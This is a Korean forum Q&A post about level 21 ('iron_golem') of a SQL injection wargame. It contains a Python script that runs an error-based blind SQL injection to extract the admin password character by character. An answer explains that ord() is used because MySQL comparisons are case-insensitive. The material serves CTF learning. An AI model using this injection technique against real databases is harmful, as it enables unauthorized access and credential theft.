sql 인젝션 질문이 있습니다.

sql 인젝션 질문이 있습니다.

QA

sql 인젝션 질문이 있습니다.

본문

여기에 sql 문제를 질문드려도 될지 모르겠지만 물어볼때가 없어서요

lord of sqlinjection 21문제를 풀고 있습니다.(https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php)

 

풀려고 코딩을 짰는데 갑자기 드는 의문점이 있습니다.


import requests
import string

 
url = "https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php"
cookie = dict(PHPSESSID="쿠키값")
 
asc = string.digits+string.ascii_letters
print(asc)
result=""
 
for i in range(1,33):
    for j in asc:
        param = "?pw='or id='admin' and if(right(left(pw,"+str(i)+"),1)="+str(j)+",(select 1 union select 2),1)%23"
        #param = "?pw='or id='admin' and if(ord(substr(pw,"+str(i)+",1))="+str(ord(j))+",(select 1 union select 2), 1)%23"
        print(param)
        res_url = url+param
        response = requests.get(res_url, cookies=cookie)
 
        if response.text.find("Subquery")>=0:
            print(str(i)+"번째 패스워드 :"+j)
            result+=j
            break
print("pw :"+result)
 

 

 

 

 

문제의 정해진 패스워드 값이 문자일거고, 코드에서 임의로 걸러내기 위한 값도 문자인데 왜 아스키코드로 굳이 변경을 해서 하는걸까요? 위에 문제로 아스키로 안바꾸고 문자대로 비교하니까 숫자는 파싱이 되는데 문자는 파싱이 안되네요? 

 

 

이 질문에 댓글 쓰기 :

답변 1

제 개인적인 생각입니다.

 

mysql 의 varchar 필드나 if 함수 같은 것들은 대소문자를 구분하지 않습니다.

예를 들어 mysql 에서


select if('a'='A', 'true', 'false');

이런 쿼리를 실행하면 true 가 출력 됩니다.

위 문제에서 문자 비교 대상이 0-9a-zA-Z 이기 때문에

비밀번호 추출 시 정확하게 대소문자를 구분하여 추출 하려는 목적인 듯 합니다.

 

디비 pw 값이 AAAAA 인 상태에서 ord 를 없이 실행 할 경우 결과 값이 aaaaa 로 출력 될 확율이 높습니다.

답변을 작성하시기 전에 로그인 해주세요.
전체 123,590 | RSS
QA 내용 검색

회원로그인

(주)에스아이알소프트 / 대표:홍석명 / (06211) 서울특별시 강남구 역삼동 707-34 한신인터밸리24 서관 1404호 / E-Mail: admin@sir.kr
사업자등록번호: 217-81-36347 / 통신판매업신고번호:2014-서울강남-02098호 / 개인정보보호책임자:김민섭(minsup@sir.kr)
© SIRSOFT